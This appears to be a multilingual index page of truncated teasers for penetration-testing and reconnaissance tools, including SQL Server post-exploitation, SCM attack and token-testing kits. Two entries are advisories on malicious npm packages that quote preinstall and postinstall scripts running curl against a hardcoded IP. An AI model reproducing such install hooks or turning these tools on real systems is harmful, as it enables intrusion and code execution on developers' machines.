-Pegasus-Suite

Pegasus-Suite Ein umfassendes Sicherheits-Toolkit mit über 1000 Penetrationstest- und Sicherheitsbewertungswerkzeugen. Autor Letda Kes Dr. Sobri, S.Kom. Kontakt: [email protected] GitHub: github.com/sobri3195 Übersicht Pegasus-Suite ist ein All-in-One-Cybersicherheits-Framework, das für...

ssh-audit

ssh-audit ssh-audit is a tool for ssh server & client configuration auditing. jtesta/ssh-audit v2.0+ is the updated and maintained version of ssh-audit forked from arthepsy/ssh-audit v1.x due to inactivity. Features Usage Screenshots Server Standard Audit Example Server Policy Audit Example Clien...

domains-from-csp

domains-from-csp Uno script Python per estrarre i nomi di dominio dall'header CSP Uno script per estrarre i nomi di dominio dagli header Content Security Policy CSP Per ora l'output viene stampato su stdout Demo Schermate Dipendenza da pacchetti di terze parti requests click Setup Clona questo...

censys-enumeration

Enumerazione Censys Uno script per estrarre sottodomini/email per un dato dominio utilizzando il dataset dei certificati SSL/TLS su Censys L'output è in formato JSON Demo Schermate Modalità non verbosa Modalità verbosa Esempio di output JSON Dipendenza da pacchetti di terze parti censys click...

lazyrecon

root@kitploit: | | | |/ | /| | | | / / |/ | \ | | | / / | | | | | | / | | | ||\ |/ \ || ||/|| |v2 |/ Lazyrecon v2 is a subdomain discovery tool that finds and resolves valid subdomains then performs SSRF/LFI/SQLi fuzzing, brute-force and port scanning. It has a simple modular architecture and...

lazyrecon

root@kitploit: | | | |/ | /| | | | / / |/ | \ | | | / / | | | | | | / | | | ||\ |/ \ || ||/|| |v2 |/ Lazyrecon v2 è uno strumento di scoperta di sottodomini che trova e risolve sottodomini validi, quindi esegue fuzzing SSRF/LFI/SQLi, brute-force e scansione delle porte. Ha un'architettura...

uddup

UDdup - Strumento di deduplicazione degli URL Lo strumento riceve un elenco di URL e rimuove le pagine "duplicate" nel senso di pattern URL probabilmente ripetitivi che puntano allo stesso template web. Ad esempio: root@kitploit: https://www.example.com/product/123...

uddup

UDdup - URLs Deduplication Tool The tool gets a list of URLs, and removes "duplicate" pages in the sense of URL patterns that are probably repetitive and points to the same web template. For example: root@kitploit: https://www.example.com/product/123 https://www.example.com/product/456...

bbrecon

Dieses Projekt wird nicht mehr weiterentwickelt und ich habe die Crawling-Infrastruktur offline genommen. Die Zielgruppe war nicht groß genug, um die Wartung zu rechtfertigen. Bug Bounty Recon bbrecon ist ein kostenloser Recon-as-a-Service für Bug-Bounty-Jäger und Sicherheitsforscher. Die API zie...

HawkScan

HawkScan Sicherheitstool für Reconnaissance und Informationssammlung auf einer Website. Python 3.x Neuigkeiten Installation Besondere Funktionen TODO Verwendung Beispiele Danksagungen Spenden Verwendete Tools Wiki Neuigkeiten v2.x root@kitploit: - Proxy-Funktion hinzugefügt - Prioritäten/Aufgaben...

Malicious code in sm-payment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 926b17cedd788f5f626b3c4001ca9f1b9572abe425b87d40d6f03814d211e3e7 package.json declares preinstall and postinstall lifecycle scripts that curl a hardcoded bare IP over plain HTTP http://16.192.173.5/sm-payment/pre...

Malicious code in sm-session (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...

SCMKit

SCMKit Descrição S ource C ode M anagement Attack Toolkit – SCMKit é um kit de ferramentas que pode ser usado para atacar sistemas SCM. O SCMKit permite que o usuário especifique o sistema SCM e o módulo de ataque a ser usado, juntamente com a especificação de credenciais válidas nome de...

gimmepatz

😼 gimmePATz 😼 - Strumento di ricognizione per Personal Access Token PAT Ti è mai capitato di trovare un personal access token PAT di GitHub o NPM e chiederti "Sarà valido?" oppure "Chissà cosa potrebbe farci un malintenzionato?" Beh, se è così, ho lo strumento che fa per te! Ti presento gimmePatz...

qyvora-toha3ee

toha3ee Un framework di valutazione della sicurezza locale e di rete scritto in Go. È uno strumento di ricerca e di penetration testing autorizzato che copre l'intera pipeline di valutazione della rete: scoperta di host e servizi, enumerazione, audit delle credenziali, identificazione delle...

reconix

Reconix Motore di Intelligence per la Ricognizione | Scanner di Fughe | Suite di Threat Intelligence 🔍 Intelligence di Esposizione Approfondita • ⚡ Motore di Ricognizione ad Alto Segnale ⚠️ AVVISO LEGALE Reconix è progettato ESCLUSIVAMENTE per test di sicurezza autorizzati, programmi bug bounty e...

SQLRecon

SQLRecon SQLRecon एक Microsoft SQL Server टूलकिट है जिसे आक्रामक टोही और पोस्ट-एक्सप्लॉइटेशन के लिए डिज़ाइन किया गया है। प्रत्येक तकनीक का उपयोग कैसे करें, इसके बारे में विस्तृत जानकारी के लिए विकि देखें। आप SQLRecon की एक प्रति रिलीज़ पृष्ठ से डाउनलोड कर सकते हैं। वैकल्पिक रूप से, आप सोल्यूशन को...

Argus

...

awsScrape

AWSScrape AWSScrape è uno strumento progettato per estrarre certificati SSL da tutti gli intervalli IP AWS, cercando parole chiave specifiche nei campi Common Name CN, Organization O e Organizational Unit OU dei certificati. Installazione 1. Clona questo repository: root@kitploit: git clone...

dorky

Dorky Dorky è uno strumento da riga di comando che cerca su GitHub e GitLab corrispondenze nei nomi delle organizzazioni, nei nomi dei repository e nei nomi utente basandosi su un elenco di parole in input. Questo strumento può essere utile per identificare potenziali obiettivi per valutazioni di...